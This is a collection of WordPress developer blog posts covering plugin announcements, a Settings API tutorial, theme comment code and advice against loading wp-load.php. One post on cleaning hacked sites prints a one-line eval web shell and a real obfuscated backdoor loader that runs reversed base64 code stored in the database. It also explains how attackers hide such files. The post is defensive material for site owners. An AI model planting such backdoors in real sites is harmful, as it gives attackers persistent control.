Since people have been emailing me and asking for it…

WordPress Plugin: Simple Twitter Connect

It’s similar in concept to the Simple Facebook Connect plugin. In fact, it rips off quite a lot of the same code. But instead of Facebook, this integrates your WordPress site better with Twitter.

Now, there’s a lot of Twitter plugins out there already. And this plugin by no means competes with them (yet). This plugin can’t, for example, send a post to Twitter (yet). Nor can it pull posts from Twitter to display on your own site (yet).

What it does is to provide the framework for a more complete Twitter integration. Right now it can do:

• Login via Twitter
• Comment via Twitter

Not much, really. But it has the backend code necessary to make it easier to connect your site to a Twitter Application, and to make plugins surrounding it that won’t interfere with each other. That’s the same basic reason for the Simple Facebook Connect plugin.

So yes, eventually this plugin will send and receive stuff from Twitter. But for now, it lets you allow users to Login and/or to have users Comment using their Twitter credentials.

Expect frequent updates.

Edit: This post has moved to here: http://ottopress.com/2010/dont-include-wp-load-please/. Take your comments there.

Time for Otto’s general griping: WordPress plugin programming edition.

Here’s a practice I see in plugins far too often:

1. Plugin.php file adds something like this to the wp_head:

   <script src='http://example.com/wp-content/plugins/my-plugin/script.js.php'>

2. Script.js.php has code like the following:

   <?php
   include "../../../wp-load.php";
   ?>
   ... javascript code ...
   

The reason for this sort of thing is that there’s some option or code or something that the javascript needs from the database or from WordPress or whatever. This PHP file is, basically, generating the javascript on the fly.

Usually, the case for this turns out to be something minor. The code needs the value from an option, or some flag to turn it on or off. Or whatever.

Problem is that finding wp-load.php can be a bit of a chore. I’ve seen extreme efforts to find and load that file in plugins before, including searching for it, examining the directory structure to make decent guesses, etc. This sort of thing has existed even before wp-load.php came around, with people trying to load wp-config.php themselves and such.

But the real problem is simpler: This is always the wrong way to do it.

Why this is wrong

1. You don’t have the first clue where wp-load.php actually is. Both the plugin directory and the wp-content directory can be moved around in the installation. ALL the WordPress files could be moved about in this manner, are you going to search around for them?
2. You’ve instantly doubled the load on that server. WordPress and the PHP processing of it all now have to get loaded twice for every page load. Once to produce the page, and then again to produce your generated javascript.
3. You’re generating javascript on the fly. That’s simply crap for caching and speed and such.

The right way? Well, there’s two options.

Right Way the First

Generate your options separately, put them in using wp_print_scripts.

Examine this pseudo-code:

add_action('wp_print_scripts','myscript');
function myscript() {
?>
<script type="text/javascript">
  var plugin_option= <?php echo json_encode(get_option('plugin_option')); ?>;
</script>
<?php
}
wp_enqueue_script('myscript','...myscript.js',...);

Basically, the plugin option value is inserted directly into the page. The myscript.js file that loads shortly afterwards can use this value however it likes.

Why this is better:

1. No searching for wp-load.php.
2. The javascript is static, only your options are variable. No added load on the site.
3. Static scripts mean you get great speed from caching.

Sidenote: Note the use of json_encode? You should always use this when producing javascript variables from PHP variables. It handles quoting and escaping and everything for you. It can even turn PHP arrays into javascript arrays nicely! Handy for storing all your options in one place.

What if you have a ton of plugin options though? What if you really WANT to generate that javascript on-the-fly?

Right Way the Second

Generate the javascript from a call to WordPress itself, not to a separate file.

Examine this pseudo-code:

add_filter('query_vars','plugin_add_trigger');
function plugin_add_trigger($vars) {
    $vars[] = 'plugin_trigger';
    return $vars;
}

add_action('template_redirect', 'plugin_trigger_check');
function plugin_trigger_check() {
	if(intval(get_query_var('plugin_trigger')) == 1) {
	?>
function javascript_code() {
...
}
<?php
	exit;
	}
}

That code does something a little clever. Basically it’s adding a new query variable to be used as the “trigger”. When the trigger gets pulled, a bunch of javascript is generated, then the code *exits*, stopping WordPress from proceeding any further.

So, with that code in a plugin, a call to http://example.com/?plugin_trigger=1 will now produce your javascript code. This is running entirely within the content of a WordPress call, so you get all the WP functions and database access with which you can generate your code as well.

Thus, you can happily put your

<script src="http://example.com/?plugin_trigger=1">

code into the page and it’ll load up that “file” just fine.

Why this is better:

1. No searching for load.php
2. … Well, okay, there is no other reason. The load problem still exists, and your caching issues still exist. You’re programmatically generating code here, after all. It’s not a particularly good practice to do. Still, sometimes this is easier and faster to develop, even if it’s never actually “necessary”.

Also see that while I’m using the number 1 there as the value I’m checking for, that value can be anything you like. If you want to be a smartass about it and have all sorts of different things that could be generated, you can do them all with that one trigger. It’s still a generally bad idea because of the added load, but hey, maybe you have a legitimate reason. I’ve seen one or two valid reasons to do this before.

Wrap up

Also note all of the above also applies to “generating” CSS code. It’s just as unnecessary. Usually more so.

So please, stop including wp-load. It’s just wrong. Let WordPress load itself, and make your plugin do the output it needs to produce in the right places.

Note: This post has been moved to here. Please leave comments there instead.

The majority of the email I get from users of the Simple Facebook Connect plugin is questions regarding how to setup their Facebook Application. It’s really not that hard to do, but the plethora of options can seem somewhat intimidating. So here’s the basics of what you need to do.

After creating your application, you’ll need to visit the Apps section in the Facebook Developer Home area. Here you’ll find your application, and the all critical “Edit Settings” link.

Firstly, never give out your Application Secret. If you give this out by accident, then use the Reset Secret Key link to get a new one.

Anyway, from here, you want to go into the settings. The settings area is divided into six main sections, but most of the settings are irrelevant. See, you’re building a “Connect” application, not a “Canvas” one. So most of these are meaningless for you. The following ones are what you actually care about:

Obviously, you want the name of your Application to make sense. I suggest using the same name as your website. You can even use your domain name here if you like. Just be aware that this name is what the Fans of your site will see in their Applications area.

The Basic Information section is important as well, fill it in as you see fit. I also recommend uploading good icons and/or logos for your site. Gives it that finished look.

Contact Information is obviously important as well, but don’t worry about all those extra URLs. They really apply more to Canvas apps. Of course, if you want to make special pages on your site for them and provide the URLs here, feel free.

The Authentication Settings page is surprisingly important. Those top two boxes need to be unchecked for a Facebook Connect application. Why? Because when they are unchecked, your Application becomes an “External Website” as far as Facebook is concerned. If you have either them checked, then your app’s Canvas section becomes active and you might have users trying to add it to their profiles and such, resulting in broken pages and a general bad user experience.

The Connect Settings page is probably the most important one. These settings must be filled in and they must be absolutely accurate. Specifically, the URLs must be the URLs that are actually used by your site. Capitalization matters. The leading “www” or lack of one matters. Whatever the URL your site is in the browser is what you MUST put into these fields. Anything less and your site will not work.

The Advanced Settings screen contains these three fields which you need to set in the same way I did. The email domain should be your own domain, obviously. This field must be filled in for you to get real user emails on your Connected site. Without this, you only get proxied emails through Facebook.

Finally, after you have saved those settings, take the time to go back to the main application screen and click the “Edit Application Profile” link. You’ll be taken here, where you can set up the “look” of your application page on Facebook. This includes what tabs are visible, the stuff in the Info section, etc. You can add extra Applications tabs to this page and generally customize all sorts of stuff. None of that affects your site, but it does affect how the App Page looks in Facebook. The more polished it is, the more likely people will “Fan” your Application. And Fans get updates from when you publish posts to the Wall. Great way to drive traffic to your content.

Hope this helps! Mainly, I hope this reduces the number of questions I get about this process. Enjoy SFC!

I saw this morning that Jesse Stay had created a rather neat little chicklet for his FBFoundations plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well.

Of course, just copying an idea is no fun. So I had to improve upon it a bit for my version.

I ended up not using any of Jesse’s code, but I did (mostly) keep the format of his chicklet output the same, so as to try to be compatible with it for styling rules and such.

Usage

The SFC Chicklet works in one of a few ways:

• First, it’s a widget if you just want to stick it in a sidebar or something. That’s easy.
• On the other hand, if you want to integrate it into your theme, then all you have to do is to add a call to sfc_chicklet(); anywhere you like.

Configuration (Styling)

Now, unlike Jesse’s FBFoundations plugin, Simple Facebook Connect is all about simplicity. So I removed all the configuration options that he used (widths, colors, etc) and made them styleable instead.

The SFC Chicklet has a default set of styles that it puts right into the HTML itself. However, these can be easily overridden by your own styles in your theme. The thing to notice is that all the styles I use refer to classes only, not referencing the tags. So, if you re-style and use the tags as well, then your styles win the specificity war, and will take precedence.

Thus, if you want to change the background color of the main box, you can do this:

div.fanBoxChicklet {
background-color:blue;
}

Simple. The “div” makes it take precedence. Anybody familiar with simple CSS should be able to easily style it the way they like.

On the other hand, if you’re a super-themer and want to disable the built-in styles entirely, add this to your theme’s functions.php file:

global $sfc_chicklet_no_style;
$sfc_chicklet_no_style = true;

Extra

And, of course, this new plugin supports both the Application and the Fan Page methods, for those of you who have your webpage hooked to a Fan Page. This is similar to the new support for Fan Pages in the SFC Publish and SFC Fan Box plugins.

If you’re a real power user, you might want to display a chicklet for more than one page or application. Well, we’ve got you covered, just call sfc_chicklet(“ID-NUMBER”), where ID-NUMBER is the ID of your application or page. Remember, this needs to be a string, not an integer.

Internals

Internally, the plugin uses the Facebook PHP library to get the necessary data from Facebook, so there’s no need to have any odd javascript or ajax requests to make the system work. Because of the use of this Facebook code, PHP 5 is required to use this plugin.

However, the Facebook code includes a JSON library (if you don’t have one already loading), which means that if you activate this plugin, it’s quite probable that the whole SFC system will run on WordPress 2.8, even if it wouldn’t before. Of course, since 2.9 was just released, this is not as big of a deal, really.

The plugin also uses the WordPress Transients API as a caching mechanism, so that it only asks Facebook for the fan count a maximum of once per hour. The Transients API was introduced in 2.8, and so the plugin should still work okay if you haven’t upgraded to 2.9 yet.

And if you can come up with any other good Facebook plugin ideas, let me know. SFC has proven to be an easy platform for building simple Facebook plugins on top of, so they can probably be produced pretty quickly and easily.

Installation

If you haven’t installed SFC yet, then this chicklet is part of the package. Just download it and install from here:
http://wordpress.org/extend/plugins/simple-facebook-connect/

Alternatively, in a WordPress installation, just go to the “Plugins->Add New” area and search for “Simple Facebook Connect”. You can install the package directly from there.

If you already are using SFC 0.8, then you only need the new file. You can download it separately here:
http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php

Just drop it into your /wp-content/plugins/simple-facebook-connect directory, then activate it in the Plugins panel.

Edit: This post has moved to here: http://ottopress.com/2009/wordpress-settings-api-tutorial/. Take your comments there.

When writing the Simple Facebook Connect plugin, I investigated how the Settings API worked. It’s relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use.

It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion about nonces or anything along those lines. However, it’s slightly more difficult to use in that there’s very little good documentation for it. Especially for the most common case: Making your own settings page.

So, here is my little documentation attempt.

Making your own settings page

First, add yourself an options page. Code to do that:

<?php // add the admin options page
add_action('admin_menu', 'plugin_admin_add_page');
function plugin_admin_add_page() {
add_options_page('Custom Plugin Page', 'Custom Plugin Menu', 'manage_options', 'plugin', 'plugin_options_page');
}
?>

What this does is quite simple, really:

a. It adds a link under the settings menu called “Custom Plugin Menu”.
b. When you click it, you go to a page with a title of “Custom Plugin Page”.
c. You must have the “manage_options” capability to get there though (admins only).
d. The link this will be will in fact be /wp-admin/options-general.php?page=plugin (so “plugin” needs to be something only you will use).
e. And the content of the page itself will be generated by the “plugin_options_page” function.

Oh wait, we need that function! Let’s go ahead and create that, shall we?

<?php // display the admin options page
function plugin_options_page() {
?>
<div>
<h2>My custom plugin</h2>
Options relating to the Custom Plugin.
<form action="options.php" method="post">
<?php settings_fields('plugin_options'); ?>
<?php do_settings_sections('plugin'); ?>

<input name="Submit" type="submit" value="<?php esc_attr_e('Save Changes'); ?>" />
</form></div>


<?php
}?>

Hang on a minute, where’s all the options? Well, here’s where the Settings API kicks in a bit. Up to now, this has been more or less the same as previous tutorials. Adding the options pages is really quite easy. But now, we’re going to use two new functions.

First, we call settings_fields(‘plugin_options’). This outputs the hidden bits that we need to make our options page both do what we want and to make it secure with a nonce. The string “plugin-options” can be anything, as long as it’s unique. There is another call we’re going to have to make with this same string later.

Next, we call do_settings_sections(‘plugin’). This is going to output all of our input fields. Text input boxes, radio fields, anything we like. Obviously though, we have to tell it what those fields are and look like somewhere. We do both of these things in the next section.

Defining the settings

<?php // add the admin settings and such
add_action('admin_init', 'plugin_admin_init');
function plugin_admin_init(){
register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );
add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin');
add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main');
}?>

Here we’ve done three things. Let’s break that down, shall we?

<?php register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );?>

First, we register the settings. In my case, I’m going to store all my settings in one options field, as an array. This is usually the recommended way. The first argument is a group, which needs to be the same as what you used in the settings_fields function call. The second argument is the name of the options. If we were doing more than one, we’d have to call this over and over for each separate setting. The final arguement is a function name that will validate your options. Basically perform checking on them, to make sure they make sense.

Ignoring the validation function for a moment, lets move on to the setting section. This one is actually quite simple.

<?php add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin'); ?>

This creates a “section” of settings.
The first argument is simply a unique id for the section.
The second argument is the title or name of the section (to be output on the page).
The third is a function callback to display the guts of the section itself.
The fourth is a page name. This needs to match the text we gave to the do_settings_sections function call.

That function callback in the third argument should look a bit like this:

<?php function plugin_section_text() {
echo '<p>Main description of this section here.</p>';
} ?>

Simple, really. You can put any HTML you like here.

Now that we’ve talked about the section itself, we need to talk about the fields in that section.

<?php add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main'); ?>

The first argument is simply a unique id for the field.
The second is a title for the field.
The third is a function callback, to display the input box.
The fourth is the page name that this is attached to (same as the do_settings_sections function call).
The fifth is the id of the settings section that this goes into (same as the first argument to add_settings_section).

The only difficult one here is, again, the callback. Let’s look at that, shall we?

<?php function plugin_setting_string() {
$options = get_option('plugin_options');
echo "<input id='plugin_text_string' name='plugin_options[text_string]' size='40' type='text' value='{$options['text_string']}' />";
} ?>

Simple. It just gets the options then outputs the input HTML for it. Note the “name” is set to plugin_options[text_string]. This is not coincidence, the name *must* start with plugin_options in our case. Why? Because that is the second argument we passed to register_settings.

The settings pages use a whitelist system. Only valid options get read. Anything else gets tossed out, for security. Here, we’re using a php trick. PHP interprets an incoming GET or POST data of name[thing] as being an array called name with ‘thing’ as one of the elements in it. So, all our options are going to take the form of plugin_options[some_thing], so that we get that single array back, and the array name itself is whitelisted.

Since this is designed with security in mind, we have one last callback to deal with: The validation callback that we skipped earlier:

<?php // validate our options
function plugin_options_validate($input) {
$newinput['text_string'] = trim($input['text_string']);
if(!preg_match('/^[a-z0-9]{32}$/i', $newinput['text_string'])) {
$newinput['text_string'] = '';
}
return $newinput;
}
?>

Here I’m taking a liberty with the code. I’m going to say that our text_string has to be exactly 32 alphanumerics long. You can actually validate any way you want in here. The point of this function is simply to let you check all the incoming options and make sure they are valid in some way. Invalid options need to be fixed or blanked out. Finally, you return the whole input array again, which will get automatically saved to the database.

Take special note of the fact that I don’t return the original array. One of the drawbacks of this sort of approach is that somebody could, in theory, send bad options back to the plugin. These would then be in the $input array. So by validating my options and *only* my options, then any extra data they send back which might make it here gets blocked. So the validation function not only makes sure that my options have valid values, but that no other options get through. In short, $input is untrusted data, but the returned $newinput should be trusted data.

And we’re done. Wait, what?

Yes, the whole point of this exercise is that the options are automatically saved for you. And everything else. You have an options page, you have fields on it, you are validating them… and that’s it. The actual *display* of the page is even done for you. Remember the input we made? It’ll get put into a table with the title on the left side before it, waiting for input.

Another nice thing is that this is easily expandable. For each option to add we:
1. Do a new add_settings_field call.
2. Make the function to display that particular input.
3. Add code to validate it when it comes back to us from the user.

To add a new section, you:
1. Do a new add_settings_section call.
2. Make the function to display any descriptive text about it.
3. Add settings fields to it as above.

One last thing

Sometimes we don’t need a whole page. Sometimes we only have one setting, and it would work well on some existing page. Maybe on the general page, or the discussion page. Well, we can add settings to those too!

If you look through the core code, you’ll find references like do_settings_sections(‘general’) or do_settings_sections(‘writing’), and so on. These you can add on to like any others, getting your settings on the main WordPress settings pages instead of having to make your own.

Just do this:
1. Make an add_settings_section call. The last argument should be “general”, or wherever you want to add your new section.
2. Add fields to your new section, using add_settings_field.
3. You still need to make your own settings whitelisted. To do this, you’ll need to make a call to register_setting. The first argument should be the same as the page name, like ‘general’, or wherever you’re putting your settings. This will let that page recognize and allow your settings to come through.

All the callbacks will basically be the same for this method. You’re just skipping a step of making your own page. Easy.

And there you go. More reading: http://codex.wordpress.org/Settings_API

Working on a new WordPress plugin lately. It’s basically a simple and easy way to make Facebook Connect work with your WordPress based website.

More info about it here: Simple Facebook Connect.

Short list of current features:

• Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.
• Share button, with meta support.
• User status widget
• Comment using Facebook Identity (alpha, not operational, for testing only, will be working soon).

Like most things I announce early, it’s not fully featured yet. I’m modifying and adding onto it as I go along, so expect a lot of updates to show up in the plugin list if you use it.

And if you have ideas for how to improve it, please email them to me.

Edit: This post has moved to here: http://ottopress.com/2009/hacked-wordpress-backdoors/. Take your comments there.

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post.

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:

• A backdoor is code that has been added to your site.
• It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
• It will be disguised to seem innocuous, or at least non threatening.
• It will most likely involve additions to the database.

Let’s go over these individual points one at a time.

Added code

While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:

eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code

First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise

This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation

Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).

global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();

1. It retrieves a value from the WordPress database.
2. It pulls a specific section of that value out.
3. It creates a function to run that value as PHP code.
4. It runs that function.

Note how it cleverly avoids all the warning signs.

• Nowhere does it use “eval”.
• base64 is not visible at all.
• The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.

The actual value in the database looked like this:

...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
2. That code, which does not use any trigger words, loads a nondescript value from the options table.
3. It performs some string operations on that code, then executes it.
4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.

Summary

This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

This post has been moved here: http://ottopress.com/2008/wordpress-2-7-comments-enhancements/

WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your theme must support it. So, for theme authors, I’d suggest getting to work on making your themes compatible right away.

Read on if you’re a theme author…

Note: A lot of people seem to miss this key bit: Enhanced Comments are optional and default to off, even after you make these changes. You have to go to the Settings->Discussion panel to turn the features on.

Actually “compatible” is not quite the right term. Old themes will continue to work fine in WordPress 2.7. It’s just the threading and paging and javascript enhancements need the theme to support it. This is much the same as the sidebar widgets, the theme has to support it for the functionality to work. So this article is really not about 2.7 compatibility, it’s about 2.7 capability.

Note that this article will explain some of the changes needed to make themes capable of supporting the new comments functions, however there’s no substitute for the real thing. Install a local copy of WordPress trunk on your home machine (possibly using XAMPP) and test it there.

Also note that this is all based on the current state of WordPress trunk, and is subject to change before WordPress 2.7 is released. However, it’s probably not going to change all that much at this point.

How to create a 2.7 compatible comments.php

2.7 Detection

If you want your theme to be backward compatible as well, then there’s a simple way to do it. Just check for the wp_list_comments function, like so:

if (function_exists('wp_list_comments')) :
// new comments.php stuff
else :
// old comments.php stuff
endif;

While you could check for the version number of WordPress, this method is better because it simply looks for the actual function you’re going to use anyway. Never make assumptions based on version number.

One of the more interesting ways I’ve seen to use this is to have the “old comments” php in a separate file entirely, which is then included. This preserves backwards compatibility for your theme in a simple way. Here’s a quick example code for that approach:

<?php
add_filter('comments_template', 'legacy_comments');
function legacy_comments($file) {
	if ( !function_exists('wp_list_comments') )
		$file = TEMPLATEPATH . '/legacy.comments.php';
	return $file;
}
?>

Adding this code to a theme’s functions.php file will make the theme use the “legacy.comments.php” for older non-2.7 installations. That way, you can simply rename your old comments.php and then make a new one based on the new functionality. Clever.

Password Protection Check

Put this code at the top of your comments.php file. This is what lets it support the post password functionality. Note that this code is quite similar to the previous way that it was done (by checking the cookie directly), but now WordPress has a specific function to do it. You should use this function in case the functionality changes in the future, your code will be forward compatible:

if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
	die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) {
	echo 'This post is password protected. Enter the password to view comments.';
	return;
}
<h4>The Comments Loop</h4>
The Comments Loop used to look similar to this (much simplified from a real one):
[php]if ($comments) :
<?php $comment_count = get_comment_count($post->ID); echo $comment_count['approved']; ?> Comments
<ul class="commentlist">
<?php foreach( $comments as $comment ) :
// stuff to display the comment in an LI here
endforeach;
?></ul>
<?php else :
if ('open' == $post-comment_status) :
	// If comments are open, but there are no comments.
else :
	// comments are closed
endif;
endif;

Basically, it went through the comments manually and output all the necessary pieces. Easy, but very manual. This also had the problem of being very inconsistent and hard to manage for your theme’s users, especially if you heavily customized it.

The new comments loop is much simpler:

<?php if ( have_comments() ) : ?>
<h4 id="comments"><?php comments_number('No Comments', 'One Comment', '% Comments' );?></h4>

<ul class="commentlist">
<?php wp_list_comments(); ?>
</ul>

<div class="navigation">
<div class="alignleft">< ?php previous_comments_link() ?></div>
<div class="alignright">< ?php next_comments_link() ?></div>
</div>
<?php else : // this is displayed if there are no comments so far ?>
	<?php if ('open' == $post->comment_status) :
		// If comments are open, but there are no comments.
	else : // comments are closed
	endif;
endif;
?>

That new one is, in fact, a complete comments loop. No simplification at all. Unless you want something displayed for “no comments” or “comments closed”, of course. I don’t have anything showing there.

There are three important pieces to note here:

• The have_comments() function replaces the check on the global $comments variable.
• The wp_list_comments() function now outputs all the comments. It does threading, the classes, everything new.
• There’s a new navigation section to do comment paging.

The Power of Javascript

To support the new Javascript functionality with comment threading, some minor bits of code are needed:

First, in the header.php, add this line immediately before the call to wp_head():

if ( is_singular() ) wp_enqueue_script( 'comment-reply' );

That code adds the comment-reply javascript to the single post pages, letting the comment reply links work correctly. WordPress specifically does NOT do this itself, for the reason that use of this script requires certain naming conventions and parameters in the comment form, which you’ll have to add.

So, your comment form has a new parameter that you have to add:

<?php comment_id_fields(); ?>

This adds a bit of code to your form which makes it display two hidden inputs: comment_post_ID and comment_parent. Your form probably had the comment_post_ID before, so you need to remove it. The comment_parent is there for the javascript, so that replies to comments get threaded properly.

Also, your comment textarea MUST have an id=”comment”. The javascript expects it for focus purposes. If you used anything else, change it. Note that because of this, no other element on your page can have the “comment” ID.

Finally, the entire comment form MUST be surrounded by a DIV with an id=”respond”. In some previous themes (including the default ones), there would be an anchor tag like this:

<a id="respond"></a>

This was there to allow the link from the front page to go directly to the respond section when there were no comments already. That still happens, but now there’s a double purpose. The javascript moves the comment form to where the reply link is, so instead of it being an anchor, it needs to be a DIV that surrounds the comment form.

So, remove that anchor, and add a DIV with an id=”respond” around the entire comment form. The link from the front page still works this way with all modern browsers, and the javascript can now move the form around on the page as needed.

Next, you can replace the call to your normal “Leave a Comment” text with something like this:

<h3><?php comment_form_title(); ?></h3>

This makes a comment form title of “Leave a Reply” which will change to “Leave a Reply to Whoever” when somebody is replying directly to another person. You can customize this, if you like, with two parameters, like so:

<?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?>

The %s will be replaced with the person’s name. This will only happen when the javascript isn’t working and the reply links have to cause a page refresh. So it’s usually not worth customizing much. Still, not everybody runs javascript and so this is nice to let them know who they are replying to.

Finally, you’ll notice that when somebody clicks “reply” and the comment form appears there, maybe they decide to cancel instead. So, that cancel link needs to be in your respond section. Here’s the code to do that, just put it right below your “leave a message” header in the comment form area:

<div id="cancel-comment-reply">
	<small><?php cancel_comment_reply_link() ?></small></div>

That’s pretty much it for making the AJAX work. With this, the new features on the Settings->Discussion panel will work. Obviously, you can modify this somewhat as needed for your theme, these are just general principles that you’ll need to use.

Styling

Now that you have it working, there’s plenty of new styling you can add to comments. The new comments loop automatically puts every comment into an LI tag, and threads them as well, with embedded UL/LI tags. It also adds a ton of classes on all these LIs which surround every comment in this fashion:

• comment, trackback, pingback classes get added depending on the type of the comment.
• byuser gets added if the comment is by a registered user of the site.
• comment-author-authorname gets added for specific registered users.
• bypostauthor gets added if the comment is by the author of the post the comment is attached to.
• odd and even classes are added to odd and even numbered comments
• alt is added to every other comment
• thread-odd, thread-even, and thread-alt classes are the same as the odd/even/alt classes, but these only apply to the top level of each set of comments and replies
• depth-1 is added to the top level comments, depth-2 to the next level, and so on.

What’s more, a comment_class filter is provided to allow you to add your own classes. Here’s an example of that. This example function adds a microid to every comment with the microid for the comment authors given URL and email address. This sort of thing could be done in a plugin or a theme’s functions.php file, whatever.

// add a microid to all the comments
function comment_add_microid($classes) {
	$c_email=get_comment_author_email();
	$c_url=get_comment_author_url();
	if (!empty($c_email) && !empty($c_url)) {
		$microid = 'microid-mailto+http:sha1:' . sha1(sha1('mailto:'.$c_email).sha1($c_url));
		$classes[] = $microid;
	}
	return $classes;
}
add_filter('comment_class','comment_add_microid');

Simple and effective. It just adds the class to the given array of classes and lets the comment display functions take care of the rest.

And there you have it. It’s not hard to support the new functions. And if you need to customize your theme’s comments section even more, wp_list_comments() supports a number of parameters. Most of this is not documented yet, because WordPress 2.7 is not out until November. However, the code is relatively straightforward, and anybody with a good understanding of WordPress should be able to work it out.

Additional: A lot of people keep asking me for a full-fledged example. Really, I recommend that you examine the comments.php file in the default theme in the 2.7 beta versions. However, the actual comments.php file I’m using on this site can be found here: http://ottodestruct.com/comments.phps, if it helps you any. It has the code I’ve described in this article, pretty much verbatim. The only additions to it are a couple of extra options on the wp_list_comments() call, such as avatar_size and reply_text.

Just rigged up the blog to show whatever I’m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. So those weird blue things? Those are just my latest Twitter updates.

Thanks to Twitter Tools for making it work properly. Good WordPress plugin, still has a few odd points to it and some kinks to work out though. But it works well enough.

Feel free to respond more directly to anything I have to say on Twitter.

Paul found a thing called MyFountain on somebody’s website. It’s basically an automated bartender.

Now, I’ve seen these before, but mostly as do-it-yourself type projects. The basic idea is that you get a bunch of liqour and beer and such, hook it up to a bunch of pumps and tubes, and hook those to a computer to portion each one out properly. Simple enough. The trick, of course, is programming the computer properly. Running pumps and such is no big deal.

